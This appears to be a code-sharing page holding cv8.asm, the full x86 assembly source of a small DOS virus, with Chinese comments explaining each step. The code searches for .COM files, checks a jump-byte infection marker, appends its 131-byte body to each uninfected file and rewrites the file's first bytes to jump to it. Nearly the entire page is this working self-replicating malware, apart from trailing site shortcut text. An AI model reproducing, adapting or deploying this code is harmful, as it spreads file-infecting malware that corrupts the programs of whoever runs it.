📄 cv8.asm
字号:
.model tiny
.code
.startup
vlen=131
start: db 0e9h,0,0 ;眺转,执行病毒程序
mov cx,100h
push cx
pop bp
add bp,bp[1] ;bp 指向病毒程序之前
lea di,bp[vlen] ;di 指向病毒程序之后
xor si,si
rep movsb
push si ;复制程序段前缀100h字节至病毒之后
lea si,bp[si+vlen-103h] ;复制病毒的末 3 字节到最后
movsw
movsb
lea dx,si[-9] ;dx 指向串"*.com",感染对象
mov ah,4eh ;查找"*.com",文件
next: int 21h
cmp al,12h
je pass
mov dx,9eh ;找到的文件名所在
mov ax,3d02h ;读写方式打开
int 21h
mov bx,ax ;文件句柄送 bx
mov ax,4200h ;定位文件指针至文件头
xor dx,dx
xor cx,cx
int 21h
lea dx,si[-3] ;读 3 字节至病毒最后 3 字节
mov cl,3
mov ah,3fh
int 21h
cmp byte ptr [si-3],0e9h ;以 0e9h 为魔数判断是否已感染
je again ;已感染文件不再次感染
mov ax,4202h ;定位到文件尾
xor cx,cx
xor dx,dx
int 21h
mov word ptr start[1],ax ; 保存文件长度
mov cl,vlen ; 病毒长度
mov dx,bp ; 病毒始址
mov ah,40h ; 复制到文件尾
int 21h
mov ax,4200h ; 定位到文件头
xor cx,cx ;
xor dx,dx
int 21h
pop dx ; 写3字节到文件头(跳转到病毒)
push dx
mov cl,3
mov ah,40h
int 21h
again: mov ah,3eh ;关闭文件
int 21h
mov ah,4fh ;查找下一感染对象
jmp short next
pass: inc ch ;复原程序段前缀
xor di,di
rep movsb
ret
db '*.com',0,0cdh,20h,0
end
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -